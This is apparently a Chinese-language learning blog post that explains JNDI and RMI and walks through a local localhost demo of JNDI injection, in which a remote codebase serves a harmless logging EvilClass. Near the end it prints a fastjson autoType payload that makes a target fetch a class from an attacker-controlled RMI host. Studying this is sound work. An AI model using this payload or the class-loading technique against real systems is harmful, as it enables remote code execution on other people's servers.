前两天又看到fastjson 暴雷说有漏洞,加上之前的log4j好像也是有jni漏洞,所以空闲时候去研究了下这个玩意,发现网上说的不是很清除,对我这样的小白来说有点难懂,所以写篇文章记录下
本篇文章不作为专业解读,只是方便理解
jdk 1.8 251
为了方便复现,最好选择版本低的
JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口
名称服务,简单来说就是通过名称查找实际对象的服务
目录服务是名称服务的一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息
上面是我从网上查到的解释,看到这里我是有点懵的
有了这个图是不是就好点了
其实我个人理解是这样的,jndi 就好像jdbc,ldap、dns、rmi 等等就像不同的数据库mysql、oracle…
那它能干啥呢,以RMI 举例
Remote Method Invocation,Java 的远程方法调用。RMI 为应用提供了远程调用的接口,可以理解为 Java 自带的 RPC 框架。
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Hello extends Remote {
String sayHello() throws RemoteException;
}
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class Server implements Hello {
public Server() {}
public String sayHello() {
return "Hello, world!";
}
public static void main(String args[]) {
try {
Server obj = new Server();
Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1098);
// Bind the remote object's stub in the registry
Registry registry = LocateRegistry.getRegistry(1099);
registry.bind("Hello", stub);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
private Client() {}
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
Hello stub = (Hello) registry.lookup("Hello");
String response = stub.sayHello();
System.out.println("response: " + response);
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
}
日志
response: Hello, world!
这里呢就像是从远程服务拉取class数据,然后客户端去获取,然后序列化,并且实例化之后调用方法
下面主要是演示jni+rmi如何使用
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiRegistry {
public static void main(String args[]) {
try {
Registry registry = LocateRegistry.createRegistry(10099);
String factoryUrl = "http://localhost:10010/";
Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("Foo", wrapper);
System.err.println("Server ready, factoryUrl:" + factoryUrl);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
此时你还需要开启一个webservice 服务,端口为10010
我用的是python
python3 -m http.server 10010
启动main 方法,控制台输出
public class EvilClass implements ObjectFactory {
static void log(String key) {
try {
System.out.println("EvilClass: " + key);
} catch (Exception e) {
// do nothing
}
}
{
EvilClass.log("IIB block");
}
static {
System.out.println("==== static ====");
StackTraceElement[] stackTrace = Thread.currentThread().getStackTrace();
for (StackTraceElement stackTraceElement : stackTrace) {
System.out.println(stackTraceElement.toString());
}
System.out.println("==== static ====");
}
public EvilClass() {
EvilClass.log("constructor");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
EvilClass.log("getObjectInstance");
return null;
}
}
然后将这个java文件序列化为class文件,放到上一步启动python httpserver
的目录,并且保证通过 http://localhost:10010/EvilClass.class
能调用
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDILookup {
public static void main(String[] args) {
try {
// Hashtable env = new Hashtable<>();
// env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContext");
// env.put(Context.PROVIDER_URL, "rmi://localhost:10010");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
Object ret = new InitialContext().lookup("rmi://localhost:10099/Foo");
System.out.println("ret: " + ret);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
运行 main 方法,就能看下如下日志
清楚的看到是会调用class.forName() ,就好像我们可以自定义实现classLoader,从网络中加载class 数据,然后注册到jvm中
那么其实到这里,如何注入都清楚了,class在init时会调用静态代码块,如果有恶意的class在静态代码块中做手脚,就可以实现注入
这部分我还没实现,用了一些版本复现不了bug,大致原理如下
fastjson 是有个机制,指定autoType
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
com.sun.rowset.JdbcRowSetImpl#connect
当然了不止这个类,还有一些其他类也是有问题,但是原理都差不多
这得是在一些指定版本才行
https://cloud.tencent.com/developer/article/1906247?from=article.detail.1957185
以此推理其他的框架也一样可能会有漏洞
就是利用java 可以从远程的网络资源中加载class以此实现注入
当然了也可能不止这种方式,如果有的话,麻烦评论区留言我想去学习下,谢谢